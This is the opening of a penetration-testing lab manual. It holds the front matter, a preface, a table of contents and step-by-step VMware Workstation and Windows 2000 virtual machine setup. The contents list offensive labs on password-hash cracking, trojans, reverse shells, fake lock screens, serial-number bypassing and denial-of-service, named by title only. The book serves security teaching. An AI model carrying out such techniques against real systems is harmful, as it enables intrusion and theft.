PRACTICAL HACKING TECHNIQUES AND COUNTERMEASURES

Mark D. Spivey, CISSP



PRACTICAL HACKING TECHNIQUES AND COUNTERMEASURES

OTHER INFORMATION SECURITY BOOKS FROM AUERBACH

Assessing and Managing Security Risk in IT Systems: A Structured Methodology John McCumber ISBN: 0-8493-2232-4

Audit and Trace Log Management: Consolidation and Analysis

Phillip Q Maier ISBN: 0-8493-2725-3

Building and Implementing Security Certification and Accreditation Program Patrick D Howard ISBN: 0-8493-2062-3

The CISO Handbook: A Practical Guide to Securing Your Company Michael Gentile; Ronald D Collette; Thomas D August ISBN: 0-8493-1952-8

The Complete Guide for CPP Examination Preparation James P Muuss; David Rabern ISBN: 0-8493-2896-9

Curing the Patch Management Headache Felicia M Nicastro ISBN: 0-8493-2854-3

Cyber Crime Investigator's Field Guide, Second Edition Bruce Middleton ISBN: 0-8493-2768-7

Database and Applications Security: Integrating Information Security and Data Management Bhavani Thuraisingham ISBN: 0-8493-2224-3

The Ethical Hack: A Framework for Business Value Penetration Testing James S Tiller ISBN: 0-8493-1609-X

Guide to Optimal Operational Risk and Basel II Ioannis S Akkizidis; Vivianne Bouchereau ISBN: 0-8493-3813-1

The Hacker's Handbook: The Strategy Behind Breaking into and Defending Networks Susan Young; Dave Aitel ISBN: 0-8493-0888-7

The HIPAA Program Reference Handbook Ross Leo ISBN: 0-8493-2211-1

Information Security Architecture: An Integrated Approach to Security in the Organization, Second Edition Jan Killmeyer Tudor ISBN: 0-8493-1549-2

Information Security Cost Management Ioana V. Bazavan; Ian Lim ISBN: 0-8493-9275-6 Information Security: Design, Implementation, Measurement, and Compliance Timothy P. Layton ISBN: 0-8493-7087-6

Information Security Fundamentals Thomas R Peltier; Justin Peltier; John A Blackley ISBN: 0-8493-1957-9

Information Security Management Handbook, Fifth Edition, Volume 2 Harold F Tipton; Micki Krause ISBN: 0-8493-3210-9

Information Security Management Handbook, Fifth Edition, Volume 3 Harold F Tipton; Micki Krause ISBN: 0-8493-9561-5

Information Security Policies and Procedures: A Practitioner's Reference, Second Edition Thomas R Peltier ISBN: 0-8493-1958-7

Information Security Risk Analysis, Second Edition Thomas R Peltier ISBN: 0-8493-3346-6

Information Technology Control and Audit, Second Edition Frederick Gallegos; Daniel P Manson; Sandra Senft; Carol Gonzales ISBN: 0-8493-2032-1

Managing an Information Security and Privacy Awareness and Training Program Rebecca Herold ISBN: 0-8493-2963-9

The Practical Guide to HIPAA Privacy and Security Compliance Kevin Beaver; Rebecca Herold ISBN: 0-8493-1953-6

A Practical Guide to Security Assessments Sudhanshu Kairab ISBN: 0-8493-1706-1

Securing Converged IP Networks Tyson Macaulay ISBN: 0-8493-7580-0

The Security Risk Assessment Handbook: A Complete Guide for Performing Security Risk Assessments Douglas J Landoll ISBN: 0-8493-2998-1

Surviving Security: How to Integrate People, Process, and Technology, Second Edition Amanda Andress ISBN: 0-8493-2042-9

Wireless Security Handbook Aaron E Earle ISBN: 0-8493-3378-4

AUERBACH PUBLICATIONS

www.auerbach-publications.com To Order Call: 1-800-272-7737 • Fax: 1-800-374-3401 E-mail: orders@crcpress.com

PRACTICAL HACKING TECHNIQUES AND COUNTERMEASURES

Mark D. Spivey, CISSP



Auerbach Publications is an imprint of the Taylor & Francis Group, an informa business

Auerbach Publications Taylor & Francis Group 6000 Broken Sound Parkway NW, Suite 300 Boca Raton, FL 33487-2742

© 2007 by Mark D. Spivey Auerbach is an imprint of Taylor & Francis Group, an Informa business

No claim to original U.S. Government works Printed in the United States of America on acid-free paper 10 9 8 7 6 5 4 3 2 1

International Standard Book Number-10: 0-8493-7057-4 (Hardcover) International Standard Book Number-13: 978-0-8493-7057-1 (Hardcover)

This book contains information obtained from authentic and highly regarded sources. Reprinted material is quoted with permission, and sources are indicated. A wide variety of references are listed. Reasonable efforts have been made to publish reliable data and information, but the author and the publisher cannot assume responsibility for the validity of all materials or for the consequences of their use.

No part of this book may be reprinted, reproduced, transmitted, or utilized in any form by any electronic, mechanical, or other means, now known or hereafter invented, including photocopying, microfilming, and recording, or in any information storage or retrieval system, without written permission from the publishers.

For permission to photocopy or use material electronically from this work, please access www.copyright.com (http:// www.copyright.com/) or contact the Copyright Clearance Center, Inc. (CCC) 222 Rosewood Drive, Danvers, MA 01923, 978-750-8400. CCC is a not-for-profit organization that provides licenses and registration for a variety of users. For organizations that have been granted a photocopy license by the CCC, a separate system of payment has been arranged.

Trademark Notice: Product or corporate names may be trademarks or registered trademarks, and are used only for identification and explanation without intent to infringe.

Library of Congress Cataloging-in-Publication Data

Spivey, Mark D.
Practical hacking techniques and countermeasures / Mark D. Spivey.
p. cm.
Includes bibliographical references and index.
ISBN-13: 978-0-8493-7057-1
1. VMware. 2. Operating systems (Computers) 3. Virtual computer systems. I. Title.
QA76.76.06356755 2006
005.4'32--dc22
200

2006013484

Visit the Taylor & Francis Web site at http://www.taylorandfrancis.com

and the Auerbach Web site at http://www.auerbach-publications.com

Preface

The entire purpose of *Practical Hacking Techniques and Countermeasures* is to give readers the opportunity to actually put their hands on the tools and techniques commonly used by today's hackers and to actually learn how they work. Up to this point, most security-related books have dealt mainly with the theory and lecture of tools and techniques, but I wanted to provide more. With the use of virtual computers the reader can concentrate on the tools instead of the question of legality.

As a former college department chair I saw firsthand how students responded to hands-on security versus lecture only. By providing my students with a series of labs structured around security, hacking techniques, and countermeasures the students gained an invaluable insight as to how to secure today's computers and associated networks. This is evident by these students being placed at the Pentagon, in our armed forces, as government contractors, and even independent security consultants. I truly believe that when a security professional understands the actual techniques, he or she can provide a better service to the public.

Fifteen years ago the standard for security was "security by obscurity," in other words, "You don't know I have a network therefore I'm safe." With the advent of the Internet this quickly changed. However, even today there are those who when questioned about their security practices respond with "Hey, we're not a bank" or "I don't have anything worth stealing." These people are only delaying the inevitable reality that eventually someone of ill-repute will find their computers or even their networks and take full advantage of them if they haven't already.

Practical Hacking Techniques and Countermeasures is designed as a lab manual. I want every reader to be able to duplicate each lab in this book,

which is why I insisted that the inclusion of the CD containing the exact same versions of the tools be used to create this book. This is the first book in a series of books designed to educate security professionals or anyone with an interest in how hacking techniques are conducted, and what countermeasures are available. Hundreds of screenshots are included, which duplicate each lab and are easy to follow.

It was also important for me to create *Practical Hacking Techniques and Countermeasures* from the ground-up perspective. As you progress through the book the techniques and tools become progressively more advanced and follow the standard methodology of how an attacker would approach your own network or computer. I also designed *Practical Hacking Techniques and Countermeasures* to use the exact same tools used by today's hacker. This is by no means a conclusive list because tools are added or become obsolete all the time, however, I have provided an excellent foundation for every reader to practice his or her security skills and the reality is most tools used by hackers are either open source (free), custom written (programmer), stolen (warez), or a combination of all three. The accompanying CD provides 95 percent free tools and demo or trial versions of commercially available security software.

I have also developed a Web site for *Practical Hacking Techniques and Countermeasures* to support my readers, as well as inform them of upcoming books, special offers, my schedule of security seminar locations, HackSym, and a members section that provides tools, advanced portions of the next book in production, forums to assist in any lab questions, a live chat area where I will schedule and make appearances, and much more. The Web site is located at http://www.virtuallyhacking.com.

I sincerely hope you enjoy reading *Practical Hacking Techniques and Countermeasures* as much as I enjoyed writing it. Beginners will find it intriguing while veteran security professionals will find it to be an excellent reference tool. There is something for everyone.

Enjoy Practical Hacking Techniques and Countermeasures.

Mark D. Spivey, CISSP

Contents

1	Preparation	1
	Installing VMware Workstation	
	Configuring Virtual Machines	
	Installing a Virtual Windows 2000 Workstation	11
	Installing VMware Tools for Windows 2000 Virtual Machines	
	Installing a Red Hat Version 8 Virtual Machine	
	Installing VMware Tools for Red Hat Virtual Machines	
	What Is on the CD?	60
	Restrict Anonymous	60
	To Restrict Anonymous	60
	In Windows NT	60
	For Windows XP, 2003	60
	For Windows 2000	61
	What Is the Difference?	61
2	Banner Identification	63
	Lab 1: Banner Identification	
	Lab 2: Banner Identification	
	Lab 3: Banner Identification	
	Lab 4: Operating System Identification	75
	Detect Operating System of Target: Xprobe2	
	Lab 5: Banner Identification	
	Lab 6: Banner Identification	
	Lab 7: Personal Social Engineering	
	Social Engineering Techniques: Dumpster Diving/Personnel	

La La La	 ab 8: Establish a NULL Session	
La La	Establish a NULL Session: NULL Session b 9: Enumerate Target MAC Address Enumerate MAC Address and Total NICs: GETMAC b 10: Enumerate SID from User ID Enumerate the SID from the Username: USER2SID b 11: Enumerate User ID from SID	
La La	 b 9: Enumerate Target MAC Address	
La	Enumerate MAC Address and Total NICs: GETMAC ab 10: Enumerate SID from User ID Enumerate the SID from the Username: USER2SID ab 11: Enumerate User ID from SID	01
La	 b 10: Enumerate SID from User ID Enumerate the SID from the Username: USER2SID b 11: Enumerate User ID from SID 	01
	<i>Enumerate the SID from the Username: USER2SID</i> b 11: Enumerate User ID from SID	
	b 11: Enumerate User ID from SID	
La		
	Enumerate the Username from the Known SID: SID2USER	
La	b 12: Enumerate User Information	
	Enumerate User Information from Target: USERDUMP	
La	b 13: Enumerate User Information	
	Exploit Data from Target Computer: USERINFO	
La	b 14: Enumerate User Information	
	Exploit User Information from Target: DUMPSEC	
La	b 15: Host/Domain Enumeration	
	Enumerate Hosts and Domains of LAN: Net Commands	
La	b 16: Target Connectivity/Route	105
	Detect Target Connectivity: PingG	
La	b 17: Target Connectivity/Route	
	Connectivity/Routing Test: Pathping	
La	b 18: Operating System Identification	109
	Identify Target Operating System: Nmap/nmapFE	
La	b 19: Operating System Identification	
	Identify Target Operating System: NmapNT	
La	b 20: IP/Hostname Enumeration	
	Enumerate IP or Hostname: Nslookup	
La	b 21: IP/Hostname Enumeration	
	Enumerate IP or Hostname: Nmblookup	
La	b 22: RPC Reporting	
	Report the RPC of Target: Rpcinfo	
La	b 23: Location/Registrant Identification	126
	Gather Registration Info/Trace Visual Route: Visual Route	
La	b 24: Registrant Identification	
	Gather IP or Hostname: Sam Spade	
La	b 25: Operating System Identification	
	Gather OS Runtime and Registered IPs: Netcraft	
La	b 26: Operating System Identification	
	Scan Open Ports of Target: Sprint	
La	ıb 27: Default Shares	
	Disable Default Shares: Windows Operating System	
La	b 28: Host Enumeration	
	Scan Open Ports of Target: WinFingerprint	

4	Scanning14	i5
	Lab 29: Target Scan/Share Enumeration	í7

	Lab 30: Target Scan/Penetration	151
	Scan Open Ports/Penetration Testing: LANguard	
	Lab 31: Target Scan through Firewall	153
	Scan Open Ports of Target: Fscan	
	Lab 32: Passive Network Discovery	154
	Passively Identify Target Information on the LAN: Passifist	
	Lab 33: Network Discovery	158
	Identify Target Information: LanSpy	
	Lab 34: Open Ports/Services	161
	Scan Open Ports/Services of Target: Netcat	
	Lab 35: Port Scan/Service Identification	163
	Scan Open Ports of Target: SuperScan	
	Lab 36: Port Scanner	166
	Identify Ports Open: Strobe	
	Lab 37: Anonymous FTP Locator	169
	Locate Anonymous FTP Servers: FTPScanner	
	Lab 38: CGI Vulnerability Scanner	
	Identify CGI Vulnerabilities: TCS CGI Scanner	
	Lab 39: Shared Resources Locator	
	Identify Open Shared Resources: Hydra	
	Lab 40: Locate Wingate Proxy Servers	
	Locate Wingate Proxy Servers: WGateScan/ADM Gates	
5	Sniffing Traffic	
	Lab 41 [•] Packet Capture — Sniffer	195
	Lab 41: Packet Capture — Sniffer Exploit Data from Network Traffic: Ethereal	195
	Lab 41: Packet Capture — Sniffer <i>Exploit Data from Network Traffic: Ethereal</i> To Install Ethereal on a Red Hat Linux Computer	
	Lab 41: Packet Capture — Sniffer <i>Exploit Data from Network Traffic: Ethereal</i> To Install Ethereal on a Red Hat Linux Computer To Install Ethereal on Microsoft Windows	195 196 206
	Lab 41: Packet Capture — Sniffer Exploit Data from Network Traffic: Ethereal To Install Ethereal on a Red Hat Linux Computer To Install Ethereal on Microsoft Windows Lab 42: Packet Capture — Sniffer	
	Lab 41: Packet Capture — Sniffer Exploit Data from Network Traffic: Ethereal To Install Ethereal on a Red Hat Linux Computer To Install Ethereal on Microsoft Windows Lab 42: Packet Capture — Sniffer Fxploit Data from Network Traffic: Nareb	195 196 206 213
	Lab 41: Packet Capture — Sniffer Exploit Data from Network Traffic: Ethereal To Install Ethereal on a Red Hat Linux Computer To Install Ethereal on Microsoft Windows Lab 42: Packet Capture — Sniffer Exploit Data from Network Traffic: Ngrep For Linux	195 196 206 213 213
	Lab 41: Packet Capture — Sniffer Exploit Data from Network Traffic: Ethereal To Install Ethereal on a Red Hat Linux Computer To Install Ethereal on Microsoft Windows Lab 42: Packet Capture — Sniffer Exploit Data from Network Traffic: Ngrep For Linux For Windows	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
	 Lab 41: Packet Capture — Sniffer	
6	 Lab 41: Packet Capture — Sniffer	
6	 Lab 41: Packet Capture — Sniffer	
6	 Lab 41: Packet Capture — Sniffer	
6	 Lab 41: Packet Capture — Sniffer	

	Lab 50: Spoofing MAC Addresses	
	Send Packets via a False MAC Address: Linux	
	Lab 51: Packet Injection/Capture/Trace	
	Send Packets via a False IP/MAC Address: Packit	
	Lab 52: Spoof MAC Address	
	Altering the MAC Address: VMware Workstation	
7	Brute Force	299
	Lab 53: Brute-Force FTP Server	
	Crack an FTP Password: NETWOX/NETWAG	
	Lab 54: Retrieve Password Hashes	309
	Extract Password Hashes: FGDump	
	Lab 55: Crack Password Hashes	
	Crack and Capture Password Hashes: LC5	
	Lab 56: Overwrite Administrator Password	
	Change the Administrator Password: CHNTPW	
	Lab 57: Brute-Force Passwords	
	Brute-Force Passwords for a Hashed File: John the Ripper	
	Lab 58: Brute-Force FTP Password	
	Brute-Force an FTP Password Connection: BruteFTP	a = (
	Lab 59: Brute-Force Terminal Server	
	Brute-Force Terminal Server Passwords: TSGrinder II	
8	Vulnerability Scanning	
	Lab 60: Vulnerability Scanner	359
	Perform Vulnerability Assessment: SAINT	
	Lab 61: SNMP Walk	
	Exploit Data via SNMP Walk: NETWOX/NETWAG	
	<i>Exploit Data via SNMP Walk: NETWOX/NETWAG</i> Lab 62: Brute-Force Community Strings	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment	386 392 397
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 64: Wink Segment Target Assessment	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment Assessment of Web Server Security: N-Stealtb Lab 67: Vulnerability Scanner	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment Assessment of Web Server Security: N-Stealth Lab 67: Vulnerability Scanner Frethoit Data from Target Computer: Pluto	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment Assessment of Web Server Security: N-Stealtb Lab 67: Vulnerability Scanner Exploit Data from Target Computer: Pluto Lab 68: Vulnerability Assessment	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment Assessment of Web Server Security: N-Stealth Lab 67: Vulnerability Scanner Exploit Data from Target Computer: Pluto Lab 68: Vulnerability Assessment Meta Set Computer: Pluto Lab 68: Vulnerability Assessment	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment Assessment of Web Server Security: N-Stealtb Lab 67: Vulnerability Scanner Exploit Data from Target Computer: Pluto Lab 68: Vulnerability Assessment Perform Vulnerability Assessment Perform Vulnerability Assessment On Windows	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment Assessment of Web Server Security: N-Stealth Lab 67: Vulnerability Scanner Exploit Data from Target Computer: Pluto Lab 68: Vulnerability Assessment Perform Vulnerability Assessment On Windows On Linux	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment Assessment of Web Server Security: N-Stealth Lab 67: Vulnerability Scanner Exploit Data from Target Computer: Pluto Lab 68: Vulnerability Assessment Perform Vulnerability Assessment On Windows On Linux Lab 69: Web Server Target Assessment	
	Exploit Data via SNMP Walk: NETWOX/NETWAG Lab 62: Brute-Force Community Strings Exploit the SNMP Community Strings: Solar Winds Lab 63: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: Retina Lab 64: Target Assessment Assessment of Target Security: X-Scan Lab 65: Vulnerability Scanner Perform Vulnerability Assessment: SARA Lab 66: Web Server Target Assessment Assessment of Web Server Security: N-Stealth Lab 67: Vulnerability Scanner Exploit Data from Target Computer: Pluto Lab 68: Vulnerability Assessment: Perform Vulnerability Assessment: Perform Vulnerability Assessment On Windows On Linux Lab 69: Web Server Target Assessment Assessment of Web Server Security: Nikto	
	Exploit Data via SNMP Walk: NETWOX/NETWAGLab 62: Brute-Force Community StringsExploit the SNMP Community Strings: Solar WindsLab 63: Target AssessmentAssessment of Target Security: RetinaLab 64: Target AssessmentAssessment of Target Security: X-ScanLab 65: Vulnerability ScannerPerform Vulnerability Assessment: SARALab 66: Web Server Target AssessmentAssessment of Web Server Security: N-StealtbLab 67: Vulnerability ScannerExploit Data from Target Computer: PlutoLab 68: Vulnerability Assessment: MetasploitOn WindowsOn LinuxLab 69: Web Server Target AssessmentAssessment of Web Server Security: NiktoLab 67: Vulnerability Assessment	

	Lab 71: Internet Vulnerability Scanner	468
	Assessment of Target Security: Cerberus	
	Lab 72: WHAX — Auto Exploit Reverse Shell	474
	Automatically Exploit the Target: AutoScan	
	Lab 73: Unique Fake Lock Screen XP	491
	Grab the Administrator Password: Fake Lock Screen XP	
	Lab 74: Bypassing Microsoft Serial Numbers	499
	Bypassing Serial Number Protection: RockXP/Custom Script	
	Lab 75: Vulnerability Exploit	507
	Assessment of Target Security: Web Hack Control Center	
9	Wireless	511
	Lab 76: Locate Unsecured Wireless	513
	Locate Unsecured Wireless: NetStumbler/Mini-Stumbler	
	Lab 77: Trojan	519
	Unauthorized Access and Control: Back Orifice	
	On the Target Computer	519
	On the Attacker's Computer	528
	Lab 78: Trojan	534
	Unauthorized Access and Control: NetBus	
	On the Target (Server)	534
	On the Attacker's Computer	540
	Lab 79: ICMP Tunnel Backdoor	545
	Bidirectional Spoofed ICMP Tunnel: Sneaky-Sneaky	
	On the Target (Server)	545
	On the Attacker's Machine	548
	Lab 80: Hiding Tools on the Target	553
	Hiding Files on the Target: CP	
	Scenario: Hiding Netcat inside the Calculator Application	553
	To Verify	555
	Lab 81: Capturing Switched Network Traffic	556
	Intercept/Exploit Traffic: Ettercap	
	Lab 82: Password Capture	573
	Capture Passwords Traversing the Network: Dsniff	
	Lab 83: Data Manipulation	574
	Manipulate the Live Data Stream: Achilles	
	Lab 84: Covert Reverse Telnet Session	588
	Create a Reverse Telnet Session: Netcat	
	Lab 85: Covert Channel — Reverse Shell	596
	Exploit Data from Target Computer: Reverse Shell	
10	Redirection	603
	Lab 86: PortMapper	605
	Traffic Redirection: PortMapper	
	Lab 87: Executing Applications — Elitewrap	618
	Executing Hidden Applications: Elitewrap	
	Lab 88: TCP Relay — Bypass Firewalls	627
	Traffic Redirection: Fpipe	

	Lab 89: Remote Execution	
	Lab 90: TCP Relay — Bypass Firewalls	
	Traffic Redirection: NETWOX/NETWAG	
11	Denial-of-Service (DoS)	643
	Lab 91: Denial-of-Service — Land Attack	
	DoS Land Attack: Land Attack	
	Lab 92: Denial-of-Service — Smurf Attack	
	DoS Smurf Attack: Smurf Attack	
	Lab 93: Denial-of-Service — SYN Attack	
	DoS Land Attack: SYN Attack	
	Lab 94: Denial-of-Service — UDP Flood	
	DoS UDP Flood Attack: UDP Flood Attack	
	Lab 95: Denial-of-Service — Trash2.c	
	Create Denial-of-Service Traffic: Trasb2.c	
Apj	pendix A: References	671
Apj	pendix B: Tool Syntax	675
Ind	lex	

Chapter 1

Preparation

Installing VMware Workstation

The VMware[®] Workstation application started in 1998 and has since then become the global leader in virtual infrastructure software for industry standard systems. VMware offers both Microsoft Windows and Linux versions. For the purposes of this book the Windows version is used, although either type would suffice.

Think of VMware software as a container that holds a separate *(virtual)* computer from the one it is installed on (the *host*). As far as your host computer is concerned, each virtual computer is a separate computer entirely and is treated as such.

VMware software also comes in other flavors, including GSX Server and ESX Server. The noticeable difference is that the GSX Server runs as an application on a host server and the ESX Server is its own operating system.

VMware also offers another product called *VMware P2V Assistant*, which creates an image of a current physical computer and creates a virtual computer from that image. This can be very handy for testing purposes.

A 30-day demonstration version is available from its Web site at **http://www.vmware.com/download/ws**. If you download the demo version, you will also need to request a temporary license key and then register the product once it is installed. The latest version at the time of this writing is 5.0.0.13124 (although Workstation 5.5 is out). The demo version is included on the accompanying CD.

To install VMware Workstation, follow these steps:

1. Double-click on the **VMware-Workstation-5.0.0-13124.exe** file to start the installation process.



VMware-workstation-5.0 .0-13124.exe

2. You will see the initial installation screen.



3. The Installation Wizard appears. Click Next.



4. Accept the *License Agreement*. Click Next.



5. Accept the default installation directory. Click on Next.

i 🗟 VMware	2 Workstation	×
Destinati Click Nex	i on Folder xt to install to this folder, or click Change to install to a different folder	P
	Install VMware Workstation to: C:\Program Files\VMware\VMware Workstation\	⊆hange
InstallShield -	< Back New State	Cancel

6. Accept the shortcuts offered. Click Next.

记 VMware Workstation			×
Configure Shortcuts Creates program shortcuts			þ
Create shortcuts for VMware Workstati	on in the followi	ng places:	
🔽 Desktop			
🔽 Start Menu Programs folder			
Quick Launch toolbar			
and the first state			
Tuzcaipuisig	< <u>B</u> ack	Next >	Cancel

7. Accept the Yes disable CD autorun. Click Next.

🐺 VMware Workstation	×
Configure Product Configure miscellaneous product settings	Ð
Your machine currently has CD-ROM autorun enabled. Autorun can have unexpected interactions with virtual machines. Do you want to disable autorun now? ☑ Yes disable autorun Note: If you select Yes, autorun will not be disabled until you reboot this machine.	
InstallShield Ca	ncel

8. VMware Workstation is ready to install. Click Install.



9. The installation begins.



The installation continues. Please be patient.

í₩ VMware	e Workstation	X
Installing	; VMware Workstation	Ð.
B	Please wait while the installation wizard installs VMware Workstation. This may take several minutes.	
	Status:	
	Copying new files	
InstallShield –		
	< Back Next > Cancel	

10. Once the installation has completed, you are asked to enter your *User Name, Company, and Serial Number.* If you downloaded the demo version from VMware.com you will need to request that a serial number be e-mailed to you. Click **Enter**. (You can enter this information later but now is the best time.)

🕼 VMware Workstation			×
Registration Information (optional) You can enter this information I	ater.		þ
User Name:			
Virtually Hacking		_	
Company:			
Hacking the Virtual Computer			
Serial Number: (XXXXX-XXXXX-XXXX-XX	XXX)		
xxxxx-xxxxx-xxxxx			
InstallShield			
	< <u>B</u> ack	Enten	<u>S</u> kip >

11. The installation is now completed. Click Finish.



12. You will now have a VMware Workstation icon on your desktop. Double-click the icon to start VMware Workstation.



13. The VMware Workstation application starts. If you did not enter your serial number information during step 10, you will be asked to do so now. This figure shows the VMware Workstation application as it begins.



Now that you have VMware Workstation correctly installed, you can proceed to the next section, "Configuring Virtual Machines."

Configuring Virtual Machines

VMware Workstation is the application that hosts *virtual* computers. This section will cover the correct installation of a virtual Microsoft Windows 2000 Workstation and Red Hat Linux computers as they are the two operating systems used throughout this book. If you have previously installed either of these operating systems, there is no difference in the process other than you will need to install the VMware Tool covered in each section.

Please remember that it is your responsibility to license any operating system you are using. Microsoft Windows is not free and does not have a demonstration version; therefore, you must have a valid license to install Windows even in a virtual environment. Linux is normally free for downloading and at the time of this writing is freely available at **http://www.linuxiso.org**.

*Note: Remember that all of Linux is *case sensitive*.

Installing a Virtual Windows 2000 Workstation

Follow these steps:

1. From the VMware Workstation start screen, click New Virtual Machine.



2. This will start the New Virtual Machine Wizard. Click Next.



3. Accept the *Typical* configuration for the virtual machine. Click **Next**.

nau uitual m					
manus suistered and					
Filew virtual ma	achine with chine will r	the most co the compa	mmon devices atible with VMv	and configu	uration
Server 3.x, A	CE 1.x or V	Vorkstation 4	Lx.		
his option if yo	u need to	create a virtu	ual machine wi	th additional	
or specific cor	ingulation t	opuoris, or ir j	you need to ci	eale a leyac	y viitua
ti c	this option if yo or specific cor	this virtual machine will r Server 3.x, ACE 1.x or V this option if you need to or specific configuration (This virtual machine will hot be compared in the becompared of the compared to create a virtual this option if you need to create a virtual to repecific configuration options, or if to the configuration options, or if to the configuration options of the configuration options options of the configuration options o	This virtual machine will not be comparible with virtual Server 3.x, ACE 1.x or Workstation 4.x. this option if you need to create a virtual machine wi or specific configuration options, or if you need to cr	This virtual machine will not be compatible with VMWare ESA Se Server 3.x, ACE 1.x or Workstation 4.x. this option if you need to create a virtual machine with additional or specific configuration options, or if you need to create a legac

4. Accept the default of *Microsoft Windows* and select *Windows 2000 Professional* from the list of available operating systems. Click **Next**.

ew Virtual Machine Wizard	×
Select a Guest Operating System Which operating system will be installed on this virtual machine?	
Guest operating system:	
Microsoft Windows	
C Linux C Novell Neñ-Vare	
O Sun <u>S</u> olaris	
C <u>O</u> ther	
⊻ersion:	
Windows 2000 Professional	
< <u>B</u> ack <u>N</u> ext> Canc	el

5. Accept the default *Virtual machine name* and location. Click Next.

New Virtual Machine Wizard	x
Name the Virtual Machine What name would you like to use for this virtual machine?	
Virtual machine name Windows 2000 Professional	
Location C:\Documents and Settings\mspivey\My Documents\My Virtual Browse	
< <u>B</u> ack <u>N</u> ext > Cancel	

- 6. Accept the default network type of Use bridged networking. Click Next.
- *Note: This is one of the options that makes VMware Workstation interesting in that you control if your virtual computer gets its own IP address on the network *(bridged)*, must share the host IP address *(NAT)*, will establish a network between the host and virtual computer only *(bost-only)*, or not have a network connection at all. A maximum of three virtual network cards can be installed on each virtual computer with independent settings for each.

New Virtual Machine Wizard	×
Network Type What type of network do you want to add?	
□ Network connection	_
Use bridged networking	
Give the guest operating system direct access to an external Ethernet network. The guest must have its own IP address on the external network.	
C Lise network address translation (NAT)	
Give the guest operating system access to the host computer's dial-up or external Ethernet network connection using the host's IP address.	
C Use host-only networking	
Connect the guest operating system to a private virtual network on the host computer.	
C Do not use a network connection	
< Back Next > Cancel	1
	-

7. Accept the default virtual *Disk size* (capacity) of 4.0 (GB). Click **Finish**.

New Virtual Machine Wizard	×
Specify Disk Capacity How large do you want this disk to be?	
